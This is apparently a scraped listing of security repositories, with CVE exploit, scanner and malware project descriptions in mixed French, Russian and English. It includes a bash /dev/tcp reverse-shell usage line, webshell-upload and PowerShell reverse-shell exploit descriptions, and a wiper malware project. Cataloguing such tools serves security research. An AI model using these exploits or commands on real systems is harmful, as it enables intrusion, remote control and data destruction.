CVE-2021-41773-Analysis

Analyse de CVE-2021-41773 Analyse technique et laboratoire de reproduction de la vulnérabilité de traversée de chemin Path Traversal et d'exécution de code à distance RCE du serveur Apache HTTP 2.4.49...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE Exploit pour déclencher une RCE pour CVE-2018-16763 sur FuelCMS = 1.4.1 et shell interactif. Fonctionnalités Télécharge automatiquement une API de webshell PHP dans FuelCMS via CVE-2018-16763. Exécute des commandes système via une API avec ?action=exec...

Linux_Exploit_Suggester

LinuxExploitSuggester Linux Exploit Suggester ; basé sur le numéro de version du système d'exploitation. Ce programme, exécuté sans arguments, effectuera un 'uname -r' pour obtenir le numéro de version du système d'exploitation Linux, et renverra une liste suggestive d'exploits possibles. Rien...

CVE-2023-0297

CVE-2023-0297 Exécution de code à distance non authentifiée dans PyLoad 0.5.0b3.dev31 AVERTISSEMENT : Ce script est conçu pour auditer la sécurité des systèmes. Utilisez ce script uniquement sur vos propres systèmes ou sur des systèmes pour lesquels vous avez obtenu l'autorisation écrite...

cve-2018-15473

CVE-2018-15473 OpenSSH до версии 7.7 подвержен уязвимости перечисления пользователей из-за отсутствия задержки выхода для неверного аутентифицирующего пользователя до полного разбора пакета, содержащего запрос. Это связано с файлами auth2-gss.c, auth2-hostbased.c и auth2-pubkey.c. Установка...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - Exécution de commande à distance CVE-2014-6287 Réécriture de Pergyz 49584.py pour renvoyer un reverse shell PowerShell x64 Utilisation $ python3 hfs-2-3-exploit.py Fournir les variables lorsqu'elles sont demandées, démarre Netcat automatiquement pour vous...

linux-4.1.15_CVE-2023-4128

Version 4.x du noyau Linux http://kernel.org/ Ceci sont les notes de version pour Linux version 4. Lisez-les attentivement, car elles vous indiquent de quoi il s'agit, expliquent comment installer le noyau, et quoi faire si quelque chose ne va pas. QU'EST-CE QUE LINUX ? Linux est un clone du...

thinkphp5.XRce

ThinkPHP5.0 скрипт обнаружения уязвимостей Переписан на основе скрипта @tdcoming Введение: Затрагиваемые версии: v5.1.x 5.1.31 v5.0.x= 5.0.23 Использование: 1. pip install -r requirements.txt 2. Создайте файл url.txt в директории скрипта 3. Поместите URL для проверки в этот файл 4. Запустите скри...

Endurance-Wiper

Endurance-Wiper Beta — с открытым исходным кодом Небольшая вредоносная программа-вайпер, написанная на C с использованием .NET Framework. Если вы пришли из Twitter или любого другого источника, вы можете ясно видеть, что разработка активно ведётся. Вы можете свободно следить за обновлениями здесь...

CVE-2022-4174_CVE-2022-41742

CVE-2022-4174CVE-2022-41742 PoC pour CVE-2022-4174CVE-2022-41742 déterminer si Nginx 1.22.1 est vulnérable [email protected] Ce PoC permet de déterminer si un serveur Nginx version 1.22.1 est vulnérable à certaines vulnérabilités connues, notamment : CVE-2022-41741 : Corruption de mémoire da...

linux-4.1.15_CVE-2022-3564

Version 4 du noyau Linux http://kernel.org/ Voici les notes de publication pour la version 4 du noyau Linux. Lisez-les attentivement, car elles vous expliquent de quoi il s'agit, comment installer le noyau et que faire en cas de problème. QU'EST-CE QUE LINUX ? Linux est un clone du système...

CVE-2023-26256

CVE-2023-26255 CVE-2023-26256 POC FOFA: body="JIRA" && body="2.0.50" Usage: python3 CVE-2023-26256.py -h...

CVE-2023-27997

CVE-2023-27997 Данный код эксплуатирует FortiGate VM64 7.2.0. обратите внимание, что код написан очень глупым способом. Доказательство концепции $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - no...

CVE-2024-34470

CVE-2024-34470 PoC и массовый сканер Обзор Это proof-of-concept PoC и массовый сканер для CVE-2024-34470: уязвимость Path Traversal в HSC Mailinspector затрагивает все версии до 5.2.18. Как использовать PoC в действии: Сканирование одной цели Для сканирования одного IP-адреса цели: python...

CVE-2024-38473-Nuclei-Template

Modèle Nuclei CVE-2024-38473 Description Modèle Nuclei conçu pour détecter les serveurs Apache vulnérables à CVE-2024-38473. Il identifie d'abord les serveurs exécutant Apache Exécuter Nuclei de cette manière peut offrir un taux de détection plus élevé. Vous pouvez également inclure des URL sous ...

ASVS

OWASP Стандарт верификации безопасности приложений Эта работа лицензирована по лицензии Международная лицензия Creative Commons Attribution-ShareAlike 4.0. 🎉🎉🎉 Добро пожаловать в версию 5.0 ASVS! 🎉🎉🎉 Выпущена в прямом эфире на Global AppSec EU Barcelona 2025! Введение Основная цель проекта OWASP...

CVE-2004-1561

Version non-metasploit de CVE-2004-1561 Alternative à la version C Développé pour TryHackme : Ice...

CVE-2009-4623

Advanced Comment System 1.0 - Exécution de commandes à distance RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Exemples python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

vulscan

vulscan - Scan de vulnérabilités avec Nmap Introduction Vulscan est un module qui améliore nmap pour en faire un scanner de vulnérabilités. L'option -sV de nmap active la détection de version par service, utilisée pour déterminer les failles potentielles selon le produit identifié. Les données so...

vulscan

vulscan - Vulnerability Scanning with Nmap Introduction Vulscan is a module which enhances nmap to a vulnerability scanner. The nmap option -sV enables version detection per service which is used to determine potential flaws according to the identified product. The data is looked up in an offline...